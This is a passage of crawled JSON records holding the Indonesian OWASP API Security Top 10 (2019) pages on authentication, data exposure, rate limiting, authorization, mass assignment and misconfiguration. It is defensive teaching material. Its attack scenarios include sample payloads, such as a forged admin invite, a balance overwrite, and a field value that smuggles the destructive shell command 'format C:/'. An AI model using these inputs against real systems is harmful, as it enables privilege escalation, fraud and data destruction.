penyerang memiliki daftar nama pengguna dan kata sandi yang valid. \n* Mengizinkan penyerang melakukan serangan brute force pada akun pengguna yang sama, tanpa menyajikan mekanisme captcha/penguncian akun.\n* Mengizinkan kata sandi yang lemah. \n* Mengirim detail otentikasi sensitif, seperti token otentikasi dan kata sandi di URL.\n* Tidak memvalidasi keaslian token.\n* Menerima token JWT yang tidak ditandatangani/lemah ditandatangani (`\"alg\": \"none\"`) / tidak memvalidasi tanggal kedaluwarsa mereka.\n* Menggunakan kata sandi teks polos, tidak dienkripsi, atau di-hash lemah. \n* Menggunakan kunci enkripsi yang lemah.\n\n## Skenario Serangan Contoh\n\n## Skenario #1\n\n[Credential stuffing](https://www.owasp.org/index.php/Credential_stuffing) (menggunakan [daftar nama pengguna/kata sandi yang diketahui](https://github.com/danielmiessler/SecLists)), adalah serangan yang umum. Jika aplikasi tidak menerapkan ancaman otomatis atau perlindungan stuffing kredensial, aplikasi dapat digunakan sebagai oracle kata sandi (penguji) untuk menentukan apakah kredensial valid.\n\n## Skenario #2\n\nSeorang penyerang memulai alur kerja pemulihan kata sandi dengan menerbitkan permintaan POST ke `/api/system/verification-codes` dan dengan menyediakan nama pengguna dalam body permintaan. Selanjutnya token SMS dengan 6 digit dikirim ke telepon korban. Karena API tidak menerapkan kebijakan pembatasan laju, penyerang dapat menguji semua kombinasi yang mungkin menggunakan skrip multi-thread, terhadap endpoint `/api/system/verification-codes/{smsToken}` untuk menemukan token yang benar dalam beberapa menit.\n\n## Cara Mencegah\n\n- Pastikan Anda mengetahui semua kemungkinan alur untuk mengotentikasi ke API (mobile/web/tautan dalam yang mengimplementasikan otentikasi satu klik/dll.)\n- Tanyakan pada insinyur Anda alur apa yang Anda lewatkan.\n- Baca tentang mekanisme otentikasi Anda. Pastikan Anda memahami apa dan bagaimana mereka digunakan. OAuth bukan otentikasi, dan begitu juga kunci API.\n- Jangan menemukan kembali roda dalam otentikasi, generasi token, penyimpanan kata sandi. Gunakan standar.\n- Endpoint pemulihan kredensial/lupa kata sandi harus diperlakukan seperti titik akhir login dalam hal brute force, pembatasan laju, dan perlindungan penguncian.\n- Gunakan [OWASP Authentication Cheatsheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html) .\n- Jika memungkinkan, terapkan otentikasi multifaktor.\n- Terapkan mekanisme anti-brute force untuk memitigasi stuffing kredensial, serangan kamus, dan serangan brute force pada titik akhir otentikasi Anda. Mekanisme ini harus lebih ketat daripada mekanisme pembatasan laju normal pada API Anda.\n- Terapkan [penguncian akun](https://www.owasp.org/index.php/Testing_for_Weak_lock_out_mechanism_(OTG-AUTHN-003)) / mekanisme captcha untuk mencegah brute force terhadap pengguna tertentu. Terapkan pemeriksaan kata sandi lemah.\n- Kunci API seharusnya tidak digunakan untuk otentikasi pengguna, tetapi untuk [otentikasi aplikasi/proyek klien](https://cloud.google.com/endpoints/docs/openapi/when-why-api-key) .\n\n## Referensi\n\n### OWASP\n\n- [OWASP Key Management Cheat Sheet](https://www.owasp.org/index.php/Key_Management_Cheat_Sheet)\n- [OWASP Authentication Cheatsheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)\n- [Credential Stuffing](https://www.owasp.org/index.php/Credential_stuffing)\n\n### Eksternal\n\n- [CWE-798: Penggunaan Kredensial Hard-coded](https://cwe.mitre.org/data/definitions/798.html)", "znaku_textu": 4996, "slov": 562, "odkazu": 76, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:40:39", "sha256": "c6011c22a5bc3d93bd28d279dab0a9f82b9785f962d83543713784fe043bf610", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/Credential_stuffing", "https://github.com/danielmiessler/SecLists", "https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html", "https://www.owasp.org/index.php/Testing_for_Weak_lock_out_mechanism_(OTG-AUTHN-003)", "https://cloud.google.com/endpoints/docs/openapi/when-why-api-key", "https://www.owasp.org/index.php/Key_Management_Cheat_Sheet", "https://cwe.mitre.org/data/definitions/798.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/id/0xa3-excessive-data-exposure/", "titulek": "API3:2019 Pemaparan Data yang Berlebihan - OWASP API Security Top 10", "h1": "API3:2019 Pemaparan Data yang Berlebihan", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/id/0xa3-excessive-data-exposure/", "jazyk": "id", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API3:2019 Pemaparan Data yang Berlebihan"}, {"uroven": 2, "text": "Apakah API Rentan?"}, {"uroven": 2, "text": "Skenario Serangan Contoh"}, {"uroven": 3, "text": "Skenario #1"}, {"uroven": 3, "text": "Skenario #2"}, {"uroven": 2, "text": "Cara Mencegah"}, {"uroven": 2, "text": "Referensi"}, {"uroven": 3, "text": "Eksternal"}], "markdown": "# API3:2019 Pemaparan Data yang Berlebihan\n\n| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak |\n| --- | --- | --- |\n| Khusus API: Eksploitasi **3** | Prevalensi **2** : Deteksi **2** | Teknis **2** : Spesifik Bisnis |\n| Eksploitasi Pemaparan Data Berlebihan sederhana, dan biasanya dilakukan dengan menyadap lalu lintas untuk menganalisis respon API, mencari pemaparan data sensitif yang seharusnya tidak dikembalikan ke pengguna. | API mengandalkan klien untuk melakukan penyaringan data. Karena API digunakan sebagai sumber data, terkadang pengembang mencoba mengimplementasikannya secara generik tanpa memikirkan sensitivitas data yang terpapar. Alat otomatis biasanya tidak dapat mendeteksi jenis kerentanan ini karena sulit membedakan antara data yang sah dikembalikan dari API, dan data sensitif yang tidak boleh dikembalikan tanpa pemahaman mendalam tentang aplikasi. | Pemaparan Data Berlebihan umumnya mengarah pada pemaparan data sensitif. |\n\n## Apakah API Rentan?\n\nAPI mengembalikan data sensitif ke klien berdasarkan desain. Data ini biasanya disaring di sisi klien sebelum ditampilkan ke pengguna. Penyerang dengan mudah dapat menyadap lalu lintas dan melihat data sensitif.\n\n## Skenario Serangan Contoh\n\n### Skenario #1\n\nTim seluler menggunakan endpoint `/api/articles/{articleId}/comments/{commentId}` dalam tampilan artikel untuk merender metadata komentar. Menyadap lalu lintas aplikasi seluler, seorang penyerang mengetahui bahwa data sensitif lain terkait penulis komentar juga dikembalikan. Implementasi endpoint menggunakan metode `toJSON()` generik pada model `User`, yang berisi PII, untuk men-serialisasi objek.\n\n### Skenario #2\n\nSistem pengawasan berbasis IOT memungkinkan administrator membuat pengguna dengan izin yang berbeda. Seorang admin membuat akun pengguna untuk satpam baru yang hanya boleh mengakses bangunan tertentu di situs tersebut. Setelah satpam menggunakan aplikasi selulernya, panggilan API dipicu ke: `/api/sites/111/cameras` untuk menerima data tentang kamera yang tersedia dan menampilkannya di dashboard. Respons berisi daftar dengan rincian tentang kamera dalam format berikut: `{\"id\":\"xxx\",\"live_access_token\":\"xxxx-bbbbb\",\"building_id\":\"yyy\"}`. Meskipun GUI klien hanya menampilkan kamera yang seharusnya satpam ini akses, respons API aktual berisi daftar lengkap semua kamera di situs.\n\n## Cara Mencegah\n\n- Jangan pernah mengandalkan sisi klien untuk menyaring data sensitif.\n- Tinjau respon dari API untuk memastikan hanya berisi data yang sah.\n- Insinyur backend harus selalu bertanya pada diri sendiri \"siapa konsumen data ini?\" sebelum memaparkan endpoint API baru.\n- Hindari menggunakan metode generik seperti `to_json()` dan `to_string()` . Sebaliknya, pilih properti spesifik yang benar-benar ingin Anda kembalikan.\n- Klasifikasikan informasi sensitif dan pribadi (PII) yang disimpan dan dikelola aplikasi Anda, meninjau semua panggilan API yang mengembalikan informasi tersebut untuk melihat apakah respons ini menimbulkan masalah keamanan.\n- Implementasikan mekanisme validasi respons berbasis skema sebagai lapisan keamanan tambahan. Sebagai bagian dari mekanisme ini, tentukan dan paksakan data yang dikembalikan oleh semua metode API, termasuk kesalahan.\n\n## Referensi\n\n### Eksternal\n\n- [CWE-213: Pemaparan Informasi yang Disengaja](https://cwe.mitre.org/data/definitions/213.html)", "znaku_textu": 3251, "slov": 407, "odkazu": 69, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:41:10", "sha256": "47bed9c392c312215d8077e41aa121bb4e75464a6efa05973cd81e4f8a7cbf23", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cwe.mitre.org/data/definitions/213.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/id/0xa4-lack-of-resources-and-rate-limiting/", "titulek": "API4:2019 Kurangnya Sumber Daya & Pembatasan Laju - OWASP API Security Top 10", "h1": "API4:2019 Kurangnya Sumber Daya & Pembatasan Laju", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/id/0xa4-lack-of-resources-and-rate-limiting/", "jazyk": "id", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API4:2019 Kurangnya Sumber Daya & Pembatasan Laju"}, {"uroven": 2, "text": "Apakah API Rentan?"}, {"uroven": 2, "text": "Skenario Serangan Contoh"}, {"uroven": 3, "text": "Skenario #1"}, {"uroven": 3, "text": "Skenario #2"}, {"uroven": 2, "text": "Cara Mencegah"}, {"uroven": 2, "text": "Referensi"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Eksternal"}], "markdown": "# API4:2019 Kurangnya Sumber Daya & Pembatasan Laju\n\n| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak |\n| --- | --- | --- |\n| Khusus API: Eksploitasi **2** | Prevalensi **3** : Deteksi **3** | Teknis **2** : Spesifik Bisnis |\n| Eksploitasi memerlukan permintaan API sederhana. Tidak ada otentikasi yang diperlukan. Beberapa permintaan secara bersamaan dapat dilakukan dari satu komputer lokal atau dengan menggunakan sumber daya komputasi cloud. | Umum ditemukan API yang tidak menerapkan pembatasan laju atau API di mana batas tidak ditetapkan dengan benar. | Eksploitasi dapat mengarah ke DoS, membuat API tidak responsif atau bahkan tidak tersedia. |\n\n## Apakah API Rentan?\n\nPermintaan API mengonsumsi sumber daya seperti jaringan, CPU, memori, dan penyimpanan. Jumlah sumber daya yang diperlukan untuk memenuhi permintaan sangat bergantung pada input pengguna dan logika bisnis endpoint. Juga, pertimbangkan fakta bahwa permintaan dari beberapa klien API bersaing untuk sumber daya. API rentan jika setidaknya satu dari batasan berikut hilang atau disetel secara tidak tepat (misalnya, terlalu rendah/tinggi):\n\n- Batas waktu eksekusi\n- Memori maksimum yang dapat dialokasikan\n- Jumlah deskriptor berkas\n- Jumlah proses\n- Ukuran muatan permintaan (misalnya, unggahan)\n- Jumlah permintaan per klien/sumber daya\n- Jumlah catatan per halaman untuk dikembalikan dalam satu respons permintaan\n\n## Skenario Serangan Contoh\n\n### Skenario #1\n\nSeorang penyerang mengunggah gambar besar dengan menerbitkan permintaan POST ke `/api/v1/images`. Saat unggahan selesai, API membuat beberapa thumbnail dengan ukuran yang berbeda. Karena ukuran gambar yang diunggah, memori yang tersedia habis selama pembuatan thumbnail dan API menjadi tidak responsif.\n\n### Skenario #2\n\nKami memiliki aplikasi yang berisi daftar pengguna di UI dengan batas `200` pengguna per halaman. Daftar pengguna diambil dari server menggunakan kueri berikut: `/api/users?page=1&size=200`. Seorang penyerang mengubah parameter `size` menjadi `200.000`, menyebabkan masalah kinerja pada basis data. Sementara itu, API menjadi tidak responsif dan tidak dapat menangani permintaan lebih lanjut dari klien ini atau klien lainnya (alias DoS).\n\nSkenario yang sama dapat digunakan untuk memancing kesalahan Integer Overflow atau Buffer Overflow.\n\n## Cara Mencegah\n\n- Docker memudahkan untuk membatasi [memori](https://docs.docker.com/config/containers/resource_constraints/#memory) , [CPU](https://docs.docker.com/config/containers/resource_constraints/#cpu) , [jumlah restart](https://docs.docker.com/engine/reference/commandline/run/#restart-policies---restart) , [deskriptor berkas, dan proses](https://docs.docker.com/engine/reference/commandline/run/#set-ulimits-in-container---ulimit) .\n- Terapkan batas seberapa sering klien dapat memanggil API dalam rentang waktu tertentu.\n- Beri tahu klien saat batas terlampaui dengan menyediakan nomor batas dan waktu saat batas akan direset.\n- Tambahkan validasi server-side yang tepat untuk parameter string kueri dan body permintaan, khususnya yang mengendalikan jumlah catatan yang akan dikembalikan dalam respons.\n- Tentukan dan tegakkan ukuran maksimum data pada semua parameter dan muatan masukan seperti panjang maksimum untuk string dan jumlah elemen maksimum dalam array.\n\n## Referensi\n\n### OWASP\n\n- [Blocking Brute Force Attacks](https://www.owasp.org/index.php/Blocking_Brute_Force_Attacks)\n- [Docker Cheat Sheet - Limit resources (memory, CPU, file descriptors,\n processes, restarts)](https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/Docker_Security_Cheat_Sheet.md#rule-7---limit-resources-memory-cpu-file-descriptors-processes-restarts)\n- [REST Assessment Cheat Sheet](https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/REST_Assessment_Cheat_Sheet.md)\n\n### Eksternal\n\n- [CWE-307: Improper Restriction of Excessive Authentication Attempts](https://cwe.mitre.org/data/definitions/307.html)\n- [CWE-770: Allocation of Resources Without Limits or Throttling](https://cwe.mitre.org/data/definitions/770.html)\n- “ *Rate Limiting (Throttling)* ” - [Security Strategies for Microservices-based\n Application Systems](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204-draft.pdf) , NIST", "znaku_textu": 4188, "slov": 465, "odkazu": 79, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:30:09", "sha256": "563890f207d4a7760a120b5e071f936ec616e79a6a78b7cc2472ebf20af5e1b1", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://docs.docker.com/config/containers/resource_constraints/", "https://docs.docker.com/engine/reference/commandline/run/", "https://www.owasp.org/index.php/Blocking_Brute_Force_Attacks", "https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/Docker_Security_Cheat_Sheet.md", "https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/REST_Assessment_Cheat_Sheet.md", "https://cwe.mitre.org/data/definitions/307.html", "https://cwe.mitre.org/data/definitions/770.html", "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204-draft.pdf", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/id/0xa5-broken-function-level-authorization/", "titulek": "API5:2019 Otorisasi Tingkat Fungsi yang Rusak - OWASP API Security Top 10", "h1": "API5:2019 Otorisasi Tingkat Fungsi yang Rusak", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/id/0xa5-broken-function-level-authorization/", "jazyk": "id", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API5:2019 Otorisasi Tingkat Fungsi yang Rusak"}, {"uroven": 2, "text": "Apakah API Rentan?"}, {"uroven": 2, "text": "Skenario Serangan Contoh"}, {"uroven": 3, "text": "Skenario #1"}, {"uroven": 3, "text": "Skenario #2"}, {"uroven": 2, "text": "Cara Mencegah"}, {"uroven": 2, "text": "Referensi"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Eksternal"}], "markdown": "# API5:2019 Otorisasi Tingkat Fungsi yang Rusak\n\n| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak |\n| --- | --- | --- |\n| Khusus API: Eksploitasi **3** | Prevalensi **2** : Deteksi **1** | Teknis **2** : Spesifik Bisnis |\n| Eksploitasi membutuhkan penyerang untuk mengirim panggilan API yang sah ke endpoint API yang seharusnya tidak mereka akses. Endpoint ini mungkin terbuka untuk pengguna anonim atau pengguna reguler non-istimewa. Lebih mudah menemukan celah ini di API karena API lebih terstruktur, dan cara mengakses fungsi tertentu lebih dapat diprediksi (misalnya, mengganti metode HTTP dari GET ke PUT, atau mengubah string “users” di URL menjadi \"admins\"). | Pemeriksaan otorisasi untuk fungsi atau sumber daya biasanya dikelola melalui konfigurasi, dan terkadang di tingkat kode. Mengimplementasikan pemeriksaan yang tepat dapat menjadi tugas yang membingungkan, karena aplikasi modern dapat berisi banyak jenis peran atau kelompok dan hirarki pengguna yang kompleks (misalnya, sub-pengguna, pengguna dengan lebih dari satu peran). | Celah seperti itu memungkinkan penyerang mengakses fungsionalitas yang tidak sah. Fungsi administratif menjadi target utama untuk jenis serangan ini. |\n\n## Apakah API Rentan?\n\nCara terbaik untuk menemukan masalah otorisasi tingkat fungsi yang rusak adalah dengan melakukan analisis mendalam terhadap mekanisme otorisasi, dengan mempertimbangkan hirarki pengguna, peran atau kelompok yang berbeda dalam aplikasi, dan mengajukan pertanyaan berikut:\n\n- Apakah pengguna reguler dapat mengakses endpoint administratif?\n- Apakah pengguna dapat melakukan tindakan sensitif (misalnya, pembuatan, modifikasi, atau penghapusan) yang seharusnya tidak mereka akses dengan hanya mengubah metode HTTP (misalnya, dari `GET` ke `DELETE` )?\n- Apakah pengguna dari kelompok X dapat mengakses fungsi yang seharusnya hanya diekspos ke pengguna dari kelompok Y, dengan hanya menebak URL dan parameter endpoint (misalnya, `/api/v1/users/export_all` )?\n\nJangan menganggap endpoint API adalah reguler atau administratif hanya berdasarkan jalur URL.\n\nMeskipun pengembang mungkin memilih untuk mengekspos sebagian besar endpoint administratif di bawah jalur relatif tertentu, seperti `api/admins`, sangat umum menemukan endpoint administratif ini di bawah jalur relatif lain bersama dengan endpoint reguler, seperti `api/users`.\n\n## Skenario Serangan Contoh\n\n### Skenario #1\n\nSelama proses pendaftaran ke aplikasi yang hanya mengizinkan pengguna diundang untuk bergabung, aplikasi seluler memicu panggilan API ke `GET /api/invites/{invite_guid}`. Respons berisi JSON dengan rincian undangan, termasuk peran pengguna dan email pengguna.\n\nSeorang penyerang menduplikasi permintaan dan memanipulasi metode HTTP dan endpoint menjadi `POST /api/invites/new`. Endpoint ini hanya boleh diakses oleh administrator menggunakan konsol admin, yang tidak menerapkan pemeriksaan otorisasi tingkat fungsi.\n\nPenyerang mengeksploitasi masalah ini dan mengirim undangan ke dirinya sendiri untuk membuat akun admin:\n\n```\nPOST /api/invites/new\n\n{“email”:”[email protected]”,”role”:”admin”}\n```\n\n### Skenario #2\n\nSebuah API berisi endpoint yang seharusnya hanya diekspos ke administrator - `GET /api/admin/v1/users/all`. Endpoint ini mengembalikan rincian semua pengguna aplikasi dan tidak menerapkan pemeriksaan otorisasi tingkat fungsi. Seorang penyerang yang mempelajari struktur API membuat tebakan terdidik dan berhasil mengakses endpoint ini, yang mengekspos rincian sensitif pengguna aplikasi.\n\n## Cara Mencegah\n\nAplikasi Anda harus memiliki modul otorisasi yang konsisten dan mudah dianalisis yang dipanggil dari semua fungsi bisnis Anda. Seringkali, perlindungan tersebut disediakan oleh satu atau lebih komponen eksternal untuk kode aplikasi.\n\n- Mekanisme penegakan harus menolak semua akses secara default, membutuhkan izin eksplisit ke peran tertentu untuk mengakses setiap fungsi.\n- Tinjau endpoint API Anda terhadap celah otorisasi tingkat fungsi, dengan mempertimbangkan logika bisnis aplikasi dan hirarki kelompok.\n- Pastikan semua pengendali administrasi Anda mewarisi pengendali abstrak administratif yang menerapkan pemeriksaan otorisasi berdasarkan grup/peran pengguna.\n- Pastikan fungsi administratif di dalam pengendali reguler menerapkan pemeriksaan otorisasi berdasarkan grup dan peran pengguna.\n\n## Referensi\n\n### OWASP\n\n- [Artikel OWASP tentang Forced Browsing](https://www.owasp.org/index.php/Forced_browsing)\n- [OWASP Top 10 2013-A7-Missing Function Level Access Control](https://www.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control)\n- [OWASP Development Guide: Bab tentang Otorisasi](https://www.owasp.org/index.php/Category:Access_Control)\n\n### Eksternal\n\n- [CWE-285: Otorisasi yang Tidak Tepat](https://cwe.mitre.org/data/definitions/285.html)", "znaku_textu": 4682, "slov": 570, "odkazu": 74, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:30:18", "sha256": "f252c074f8dc332090e587a1b2b5e6e36498a877b36855d8162841fccacab8bf", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/Forced_browsing", "https://www.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control", "https://www.owasp.org/index.php/Category:Access_Control", "https://cwe.mitre.org/data/definitions/285.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/id/0xa6-mass-assignment/", "titulek": "API6:2019 - Mass Assignment - OWASP API Security Top 10", "h1": "API6:2019 - Mass Assignment", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/id/0xa6-mass-assignment/", "jazyk": "id", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API6:2019 - Mass Assignment"}, {"uroven": 2, "text": "Apakah API Rentan?"}, {"uroven": 2, "text": "Skenario Serangan Contoh"}, {"uroven": 3, "text": "Skenario #1"}, {"uroven": 3, "text": "Skenario #2"}, {"uroven": 2, "text": "Cara Mencegah"}, {"uroven": 2, "text": "Referensi"}, {"uroven": 3, "text": "Eksternal"}], "markdown": "# API6:2019 - Mass Assignment\n\n| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak |\n| --- | --- | --- |\n| Khusus API: Eksploitasi **2** | Prevalensi **2** : Deteksi **2** | Teknis **2** : Spesifik Bisnis |\n| Eksploitasi biasanya memerlukan pemahaman tentang logika bisnis, hubungan objek, dan struktur API. Eksploitasi penugasan massal lebih mudah dalam API, karena secara desain mereka mengekspos implementasi aplikasi yang mendasari beserta nama properti. | Kerangka kerja modern mendorong pengembang untuk menggunakan fungsi yang secara otomatis mengikat masukan dari klien ke dalam variabel kode dan objek internal. Penyerang dapat menggunakan metodologi ini untuk memperbarui atau menimpa properti objek sensitif yang sebenarnya tidak dimaksudkan untuk diekspos oleh pengembang. | Eksploitasi dapat menyebabkan eskalasi hak istimewa, perusakan data, menghindari mekanisme keamanan, dan lainnya. |\n\n## Apakah API Rentan?\n\nObjek dalam aplikasi modern mungkin berisi banyak properti. Beberapa properti ini harus diperbarui langsung oleh klien (misalnya, `user.first_name` atau `user.address`) dan beberapa tidak boleh (misalnya, flag `user.is_vip`).\n\nTitik akhir API rentan jika secara otomatis mengubah parameter klien menjadi properti objek internal, tanpa mempertimbangkan sensitivitas dan tingkat paparan properti tersebut. Hal ini bisa memungkinkan penyerang untuk memperbarui properti objek yang seharusnya tidak mereka akses.\n\nContoh properti sensitif:\n\n- **Properti terkait izin** : `user.is_admin` , `user.is_vip` hanya boleh diatur oleh admin.\n- **Properti tergantung proses** : `user.cash` hanya boleh diatur secara internal setelah verifikasi pembayaran.\n- **Properti internal** : `article.created_time` hanya boleh diatur secara internal oleh aplikasi.\n\n## Skenario Serangan Contoh\n\n### Skenario #1\n\nAplikasi berbagi tumpangan memberi pengguna opsi untuk mengedit informasi dasar untuk profil mereka. Selama proses ini, panggilan API dikirim ke `PUT /api/v1/users/me` dengan objek JSON yang sah:\n\n```\n{\"user_name\":\"inons\",\"age\":24} \n```\n\nPermintaan `GET /api/v1/users/me` menyertakan properti credit_balance tambahan:\n\n```\n{\"user_name\":\"inons\",\"age\":24,\"credit_balance\":10}\n```\n\nPenyerang memutar ulang permintaan pertama dengan payload berikut:\n\n```\n{\"user_name\":\"attacker\",\"age\":60,\"credit_balance\":99999}\n```\n\nKarena endpoint rentan terhadap penugasan massal, penyerang menerima kredit tanpa membayar.\n\n### Skenario #2\n\nPortal berbagi video memungkinkan pengguna mengunggah konten dan mengunduh konten dalam format yang berbeda. Seorang penyerang yang menjelajahi API menemukan bahwa endpoint `GET /api/v1/videos/{video_id}/meta_data` mengembalikan objek JSON dengan properti video. Salah satu propertinya adalah `\"mp4_conversion_params\":\"-v codec h264\"` yang menunjukkan bahwa aplikasi menggunakan perintah shell untuk mengubah video.\n\nPenyerang juga menemukan endpoint `POST /api/v1/videos/new` rentan terhadap penugasan massal dan memungkinkan klien mengatur properti apa pun dari objek video. Penyerang menetapkan nilai berbahaya sebagai berikut: `\"mp4_conversion_params\":\"-v codec h264 && format C:/\"`. Nilai ini akan menyebabkan injeksi perintah shell setelah penyerang mengunduh video sebagai MP4.\n\n## Cara Mencegah\n\n- Jika memungkinkan, hindari menggunakan fungsi yang secara otomatis mengikat masukan klien ke dalam variabel kode atau objek internal.\n- Daftar putih hanya properti yang seharusnya diperbarui oleh klien.\n- Gunakan fitur bawaan untuk daftar hitam properti yang tidak boleh diakses oleh klien.\n- Jika berlaku, tentukan dan tegakkan secara eksplisit skema untuk muatan data masukan.\n\n## Referensi\n\n### Eksternal\n\n- [CWE-915: Pengontrolan yang Tidak Tepat dari Modifikasi Atribut Objek yang Ditentukan Secara Dinamis](https://cwe.mitre.org/data/definitions/915.html)", "znaku_textu": 3662, "slov": 444, "odkazu": 69, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:30:48", "sha256": "2387c63941375394f9454652dcdc17beae78a340bfdf74d2a0186a86979b7ac2", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cwe.mitre.org/data/definitions/915.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/id/0xa7-security-misconfiguration/", "titulek": "API7:2019 Kesalahan Konfigurasi Keamanan - OWASP API Security Top 10", "h1": "API7:2019 Kesalahan Konfigurasi Keamanan", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/id/0xa7-security-misconfiguration/", "jazyk": "id", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API7:2019 Kesalahan Konfigurasi Keamanan"}, {"uroven": 2, "text": "Apakah API Rentan?"}, {"uroven": 2, "text": "Skenario Serangan Contoh"}, {"uroven": 3, "text": "Skenario #1"}, {"uroven": 3, "text": "Skenario #2"}, {"uroven": 3, "text": "Skenario #3"}, {"uroven": 2, "text": "Cara Mencegah"}, {"uroven": 2, "text": "Referensi"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Eksternal"}], "markdown": "# API7:2019 Kesalahan Konfigurasi Keamanan\n\n| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak |\n| --- | --- | --- |\n| Khusus API: Eksploitasi **3** | Prevalensi **3** : Deteksi **3** | Teknis **2** : Spesifik Bisnis |\n| Penyerang sering mencoba menemukan celah yang tidak diperbarui, endpoint umum, atau file dan direktori yang tidak dilindungi untuk mendapatkan akses yang tidak sah atau pengetahuan tentang sistem. | Kesalahan konfigurasi keamanan dapat terjadi pada setiap level tumpukan API, dari level jaringan hingga level aplikasi. Alat otomatis tersedia untuk mendeteksi dan memanfaatkan kesalahan konfigurasi seperti layanan yang tidak perlu atau opsi warisan. | Kesalahan konfigurasi keamanan tidak hanya dapat mengekspos data pengguna yang sensitif, tetapi juga rincian sistem yang dapat mengarah ke kompromi server penuh. |\n\n## Apakah API Rentan?\n\nAPI mungkin rentan jika:\n\n- Pengerasan keamanan yang tepat hilang di bagian mana pun dari tumpukan aplikasi, atau jika memiliki izin yang dikonfigurasi dengan salah pada layanan cloud.\n- Perbaikan keamanan terbaru hilang, atau sistemnya sudah ketinggalan zaman.\n- Fitur yang tidak perlu diaktifkan (misalnya, kata kerja HTTP).\n- Keamanan Lapisan Transport (TLS) hilang.\n- Direktif keamanan tidak dikirim ke klien (misalnya, [Security Headers](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project) ).\n- Kebijakan Berbagi Sumber Daya Lintas Asal (CORS) hilang atau disetel dengan salah.\n- Pesan kesalahan termasuk jejak tumpukan, atau informasi sensitif lainnya terekspos.\n\n## Skenario Serangan Contoh\n\n### Skenario #1\n\nSeorang penyerang menemukan file `.bash_history` di bawah direktori root server, yang berisi perintah yang digunakan oleh tim DevOps untuk mengakses API:\n\n```\n$ curl -X GET 'https://api.server/endpoint/' -H 'authorization: Basic Zm9vOmJhcg=='\n```\n\nPenyerang juga bisa menemukan endpoint baru pada API yang hanya digunakan oleh tim DevOps dan tidak didokumentasikan.\n\n### Skenario #2\n\nUntuk menargetkan layanan tertentu, seorang penyerang menggunakan mesin pencari populer untuk mencari komputer yang dapat diakses langsung dari Internet. Penyerang menemukan host yang menjalankan sistem manajemen basis data populer, mendengarkan di port default. Host tersebut 